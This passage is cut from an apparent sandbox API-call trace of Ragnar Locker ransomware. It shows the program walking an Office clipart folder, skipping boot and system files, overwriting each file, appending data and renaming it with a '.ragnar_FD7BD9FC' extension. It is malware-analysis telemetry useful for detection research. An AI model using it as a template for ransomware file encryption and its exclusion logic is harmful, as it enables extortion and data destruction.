Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.ragnar_FD7BD9FC" [0087.248] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1 [0087.249] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.249] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0285484.WMF" | out: lpString1="J0285484.WMF") returned="J0285484.WMF" [0087.249] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF") returned=".WMF" [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="autorun.inf") returned 1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="boot.ini") returned 1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="bootfont.bin") returned 1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="bootsect.bak") returned 1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="bootmgr") returned 1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="bootmgr.efi") returned 1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="bootmgfw.efi") returned 1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="desktop.ini") returned 1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="iconcache.db") returned 1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="ntldr") returned -1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="ntuser.dat") returned -1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="ntuser.dat.log") returned -1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="ntuser.ini") returned -1 [0087.249] lstrcmpiW (lpString1="J0285484.WMF", lpString2="thumbs.db") returned -1 [0087.249] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.249] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.249] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.249] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.249] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.249] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.249] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf")) returned 0x20 [0087.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.250] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9280) returned 1 [0087.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2437, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.250] GetProcessHeap () returned 0x580000 [0087.250] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.250] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.252] VirtualAlloc (lpAddress=0x0, dwSize=0x2440, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.252] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2440, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2440, lpOverlapped=0x0) returned 1 [0087.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.253] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2440, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.253] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2440, lpOverlapped=0x0) returned 1 [0087.253] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2440, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.253] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2440, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.253] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.253] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.253] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.253] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.253] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.254] GetProcessHeap () returned 0x580000 [0087.254] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.254] CloseHandle (hObject=0xf4) returned 1 [0087.254] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" [0087.254] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.ragnar_FD7BD9FC" [0087.254] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.256] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1 [0087.256] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.256] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0285780.WMF" | out: lpString1="J0285780.WMF") returned="J0285780.WMF" [0087.256] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF") returned=".WMF" [0087.256] lstrcmpiW (lpString1="J0285780.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.256] lstrcmpiW (lpString1="J0285780.WMF", lpString2="autorun.inf") returned 1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="boot.ini") returned 1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="bootfont.bin") returned 1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="bootsect.bak") returned 1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="bootmgr") returned 1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="bootmgr.efi") returned 1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="bootmgfw.efi") returned 1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="desktop.ini") returned 1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="iconcache.db") returned 1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="ntldr") returned -1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="ntuser.dat") returned -1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="ntuser.dat.log") returned -1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="ntuser.ini") returned -1 [0087.257] lstrcmpiW (lpString1="J0285780.WMF", lpString2="thumbs.db") returned -1 [0087.257] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.257] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.257] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.257] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.257] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.257] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.257] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf")) returned 0x20 [0087.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.258] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31068) returned 1 [0087.258] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7953, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.258] GetProcessHeap () returned 0x580000 [0087.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.258] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.259] VirtualAlloc (lpAddress=0x0, dwSize=0x795c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.259] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x795c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x795c, lpOverlapped=0x0) returned 1 [0087.260] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.261] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x795c, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.261] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x795c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x795c, lpOverlapped=0x0) returned 1 [0087.261] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x795c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.261] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.261] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x795c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.261] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.261] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.261] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.262] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.262] GetProcessHeap () returned 0x580000 [0087.262] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.262] CloseHandle (hObject=0xf4) returned 1 [0087.262] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" [0087.262] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.ragnar_FD7BD9FC" [0087.262] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.262] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1 [0087.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.263] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0285782.WMF" | out: lpString1="J0285782.WMF") returned="J0285782.WMF" [0087.263] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF") returned=".WMF" [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="autorun.inf") returned 1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="boot.ini") returned 1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="bootfont.bin") returned 1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="bootsect.bak") returned 1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="bootmgr") returned 1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="bootmgr.efi") returned 1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="bootmgfw.efi") returned 1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="desktop.ini") returned 1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="iconcache.db") returned 1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="ntldr") returned -1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="ntuser.dat") returned -1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="ntuser.dat.log") returned -1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="ntuser.ini") returned -1 [0087.263] lstrcmpiW (lpString1="J0285782.WMF", lpString2="thumbs.db") returned -1 [0087.263] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.263] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.263] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.263] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.263] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.263] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.263] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf")) returned 0x20 [0087.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.267] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21054) returned 1 [0087.267] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5235, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.267] GetProcessHeap () returned 0x580000 [0087.267] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.267] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.269] VirtualAlloc (lpAddress=0x0, dwSize=0x523e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.269] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x523e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x523e, lpOverlapped=0x0) returned 1 [0087.270] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.270] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x523e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.270] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x523e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x523e, lpOverlapped=0x0) returned 1 [0087.271] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x523e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.271] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.271] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x523e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.271] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.271] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.271] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.271] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.271] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.271] GetProcessHeap () returned 0x580000 [0087.271] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.271] CloseHandle (hObject=0xf4) returned 1 [0087.271] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" [0087.271] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.ragnar_FD7BD9FC" [0087.271] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.272] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, 